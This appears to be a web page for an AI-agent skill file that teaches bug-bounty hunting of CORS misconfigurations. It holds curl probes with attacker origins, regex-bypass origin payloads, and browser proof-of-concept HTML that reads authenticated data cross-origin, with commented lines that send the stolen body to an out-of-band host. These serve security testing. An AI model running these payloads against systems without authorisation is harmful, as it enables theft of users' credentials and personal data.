Loading
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage
The skill file stays in the publisher's repository.
Paste the copied command in a terminal. It installs this SKILL.md into that agent.
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors -a cursor -y
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.
CORS pays High only when an attacker-controlled origin can perform a
credentialed cross-origin read of sensitive authenticated data, and you
have a browser PoC proving the response body is readable from evil.com.
Two hard browser rules that kill most "findings" — check these FIRST:
Access-Control-Allow-Origin: * CANNOT be combined with credentials.
If the server returns ACAO: *, the browser refuses to send/expose the
response for a credentials: include request. A wildcard-only endpoint is
not credential-exploitable. It is only interesting if the data it serves
is sensitive without a session (rare) — usually this is Informational/Low.Access-Control-Allow-Credentials: true is meaningless on its own. It
matters only if ACAO reflects/allows your specific attacker origin AND a
cross-origin credentialed fetch actually returns a readable body. ACAC on a
response that does not reflect your origin proves nothing.If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.
Origin header AND
sets ACAC: true → any site reads authed API responses. The classic High.ACAO: null + ACAC: true. A sandbox iframe (or a
data:/redirect chain) emits Origin: null, so any page can read authed data.event.data without strictly validating event.origin.Any endpoint returning an Access-Control-Allow-Origin header
API endpoints: /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial: /api/balance, /api/transactions
Admin/internal: /api/admin/*, /api/internal/*
Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.
# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
result=$(curl -s -D - -o /dev/null "$url" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
[ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt
# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case):
# Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
# Access-Control-Allow-Credentials: true <- + credentials => readable
#
# NOT exploitable for credentialed theft:
# Access-Control-Allow-Origin: * <- browser blocks creds read
# (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for: Access-Control-Allow-Origin: null + ACAC: true
The right payload depends on which regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.
Server regex (intended: trust *.target.com) | Flaw | Bypass origin that matches | Why |
|---|---|---|---|
^https?://.*\.target\.com$ | None — escaped dot + end-anchor. Correct. | (no simple bypass) | evil.target.com is in-scope by design; x.target.com.evil.com ENDS in .evil.com, fails $. Move on or look for subdomain-takeover. |
^https?://.*target\.com$ | Missing dot separator (no \. before target) | https://eviltarget.com | .*target\.com$ matches eviltarget.com — attacker registers eviltarget.com. |
^https?://.*\.target\.com | Missing end-anchor $ | https://x.target.com.evil.com | regex matches a prefix; .target.com appears, then .evil.com is ignored (no $). |
^https?://target\.com | Prefix-only, no $ | https://target.com.evil.com | matches the target.com prefix; the rest is unconstrained. |
^https?://.*\.target\.com$ but dot in regex is unescaped (.*.target.com$) | Unescaped dot = "any char" | https://xtargetXcom... style, or https://evilZtargetZcom where Z is any single char | . matches any character, widening the match. |
| Any of the above | Special chars browsers send in Origin | https://target.com%60.evil.com, https://target.com\x60evil.com | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
"https://evil.target.com" \
"https://eviltarget.com" \
"https://x.target.com.evil.com" \
"https://target.com.evil.com" \
"https://target.com%60.evil.com" \
"http://target.com"; do
RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: $ORIGIN" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done
A bypass is real only if the server reflects your registerable origin into
ACAO with ACAC: true. evil.target.com reflecting back is NOT a bug unless
you can actually control a *.target.com host (then see Phase 6 / hunt-subdomain).
If ACAO reflects/allows any http:// origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.
curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control
Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with hunt-tls-network. (PortSwigger: CORS with trusted insecure protocols.)
Non-simple requests (custom headers, PUT/DELETE/PATCH, non-simple
Content-Type) trigger a CORS pre-flight OPTIONS. The browser only sends
the real request if the pre-flight response authorizes the method/header. Two
things to test:
Access-Control-Allow-Methods / Access-Control-Allow-Headers reflect
whatever you ask for, a malicious origin can drive state-changing requests
(chain to CSRF-style writes that JSON/SameSite would otherwise block).curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: x-custom-auth, content-type" \
| grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
# Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
OPTIONS but the actual GET/POST also reflects — the read path is
the bug; the pre-flight just confirms write-path reach. Test the GET/POST
directly too — never assume the pre-flight result equals the real-request
result. Confirm in a browser, because curl ignores CORS entirely.curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. Every CORS High needs a browser PoC.
5a. Reflect-any-origin read (host on evil.com, open while logged into target):
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => {
document.getElementById("out").innerText = d; // prove readable body
// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
If you see BLOCKED / a TypeError, the browser refused the read — it is NOT a
valid finding regardless of what curl showed (this is the ACAO: * + creds case).
5b. Null-origin read — a sandbox iframe sends Origin: null. The inner
document must lack allow-same-origin so its origin is opaque (null):
<!doctype html><body>
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", e => {
// d is the authed body, read cross-origin via a null Origin
// fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>
(Alternative null-origin emitters: a data: / blob: document, or bouncing the
request through a 302 redirect chain whose final hop is cross-scheme.)
5c. Trusted-subdomain read — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host 5a there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
| grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
# .indexOf("target.com") > -1 <- "target.com.evil.com" passes
# .endsWith("target.com") <- "eviltarget.com" passes
# startsWith("https://target") <- "https://target.evil.com" passes
# no check at all
postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.
# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/
# Burp: passively flags origin reflection; always re-confirm in a real browser.
Every automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.
| CORS finding | Chain to | Impact |
|---|---|---|
| Reflects attacker origin + creds | Browser-read /api/me, /api/tokens, /api/csrf | PII + token + CSRF-token theft → often ATO |
| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |
| Pre-flight allows arbitrary method/header | Drive authed PUT/DELETE from evil origin | Cross-origin state change |
| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |
| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |
| postMessage no/loose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS / client auth bypass |
evil.com. If the
fetch throws / logs BLOCKED, you have nothing.ACAO: * + credentials = not a finding. Browsers block it. Only pursue
wildcard if the data is sensitive unauthenticated (then it is usually Low).ACAC: true alone proves nothing — it must pair with your reflected
origin AND a successful readable cross-origin body.target.com.evil.com against an end-anchored escaped-dot regex — it does not
match and is not a bug.evil.target.com reflecting is not automatically a bug — it is an
in-scope subdomain by design unless you can actually control it./api/health is not High. Tie the
read to PII, tokens, secrets, or financial data to justify severity.Severity:
ACAO: * only (no creds possible): Informational unless data is secret